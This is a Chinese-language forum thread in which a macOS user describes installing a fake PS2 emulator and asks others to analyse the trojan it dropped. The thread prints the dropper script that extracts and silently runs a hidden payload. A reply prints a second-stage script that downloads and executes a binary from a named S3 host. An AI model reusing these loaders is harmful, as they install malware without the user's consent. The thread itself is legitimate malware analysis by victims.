V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
xfangs
V2EX  ›  问与答

遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?

  •  
  •   xfangs · 2020-10-31 05:27:22 +08:00 · 2206 次点击
    这是一个创建于 1519 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前因

    晚上突然想玩一下 ps2 老游戏,打开百度搜索 ps2 模拟器,然后就搜到了这个网站,看起来很正经,还提供了全平台的软件下载,于是我就下载了。

    https://ps2smart.com/download.html

    案件进行中

    打开 dmg 之后,出现一个图标,我下意识就双击运行了。但是和一般 app 不同,双击之后一闪而现了 terminal,然后什么都没发生,我意识到可能翻车了。

    目前的信息

    我查看了一下伪造成 app 的脚本,内容如下:

    #!/bin/bash
    TEMP_NAME="$(mktemp -t Installer)"
    tail -c 8822 "$0/..namedfork/rsrc" | funzip -GsJPc > "${TEMP_NAME}"
    chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 &
    killall Terminal
    exit
    

    因为涉及到了 ..namedfork/rsrc,所以我补充一下,这里 $0/..namedfork/rsrc 就是那个脚本文件的图标的地址(应该是 macos 特有的路径),这个图标文件大概 140KB 。

    我理解的意思是脚本中提取了图标后面约 8KB 的二进制进行解压(解压过后 16KB),然后在后台运行了。

    限于个人能力,目前进展停止在了对那个二进制文件反汇编,不知道他究竟在我的电脑中做了什么,所以非常苦恼。因为他是没有获取 root 权限的,所以或许危害不是那么大?

    总结

    有没有感兴趣的大佬研究研究呀,小弟在这里先行感谢了!

    附件

    提取到的二进制文件:可运行的未知二进制文件

    4 条回复    2020-10-31 10:06:42 +08:00
    wwhc
        1
    wwhc  
       2020-10-31 05:51:56 +08:00
    xfangs
        2
    xfangs  
    OP
       2020-10-31 06:06:59 +08:00
    @wwhc 万分感谢,前半段倒是很像,对比后半段他并没有问我要 root 密码。

    这个伪造的网站 2020/10/4 还在更新,说明这类病毒还在持续更新中,或许有了新的突破也说不定,希望他的目的只是发发广告
    mclxly
        3
    mclxly  
       2020-10-31 09:46:14 +08:00
    我也装过一些网络下载的软件,不晓得中招没
    lcdtyph
        4
    lcdtyph  
       2020-10-31 10:06:42 +08:00
    看了一眼,这个 binary 又执行了下面这个 shell 脚本:

    ```bash
    temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
    where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
    extract_did() {
    local -r url="$(where_from_url)"
    local query="${url#*\?}"
    local did_find=0
    for param in ${query//[=&]/ }; do
    ((did_find == 1)) && echo "${param}" && break
    [ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
    done
    }
    close_terminal() { killall "Terminal"; }
    download() {
    local -r url="${1}"
    local -r tmp_dir="${2}"
    local -r path="${tmp_dir}/$(uuidgen)"
    if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
    }
    unarchive() {
    local -r tgz_path="${1}"
    [ -z "${tgz_path}" ] && return
    local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
    if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
    rm -rf "${tgz_path}"
    }
    app_path() {
    local -r app_dir="${1}"
    [ -z "${app_dir}" ] && return
    local -r app_paths=("${app_dir}"/?*.app)
    local -r app_path="${app_paths[0]}"
    [ -d "${app_path}" ] && echo "${app_path}"
    }
    bin_path() {
    local -r app_path="${1}"
    [ -z "${app_path}" ] && return
    local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
    local -r binary_path="${binary_paths[0]}"
    echo "${binary_path}"
    }
    exec_bin() {
    local -r bin_path="${1}"
    local -r did="${2}"
    local -r app_path="${3}"
    [ -z "${bin_path}" ] && return
    "${bin_path}" -did "${did}"
    }

    main() {
    local -r url="${1}"
    close_terminal
    local -r did="$(extract_did)"
    [ -z "${did}" ] && return
    local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
    local -r arch_path="$(download "${url}" "${tmp_dir}")"
    local -r app_dir="$(unarchive "${arch_path}")"
    local -r app_path="$(app_path "${app_dir}")"
    local -r bin_path="$(bin_path "${app_path}")"
    exec_bin "${bin_path}" "${did}" "${app_path}"
    rm -rf "${tmp_dir}"
    }

    main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
    ```

    会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1333 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 17:49 · PVG 01:49 · LAX 09:49 · JFK 12:49
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.